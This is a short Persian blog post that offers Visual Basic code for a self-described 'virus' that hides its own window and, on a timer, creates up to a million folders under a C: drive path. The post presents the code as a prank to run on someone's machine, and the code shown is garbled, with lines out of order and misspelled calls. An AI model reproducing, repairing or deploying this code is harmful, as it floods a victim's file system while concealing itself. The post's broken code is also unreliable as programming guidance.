|
ويروسي که يک ميليون بار به نام شما پوشه بسازد در يک تايمر کدهاي زير را تايپ کنيد Dim fso as new file systemobject For I = 1 To 1000000 &I,True " "C:\javed Fso.creatfolder Next I در Form Load ( ) کدهاي زير رو تايپ کنيد Me.Hide Timer1.enabled = true Timer1.interval = 5000 این دفعه رو نظر از یاتون نره + نوشته شده در شنبه بیست و چهارم آذر 1386 22:7 توسط میثم |
|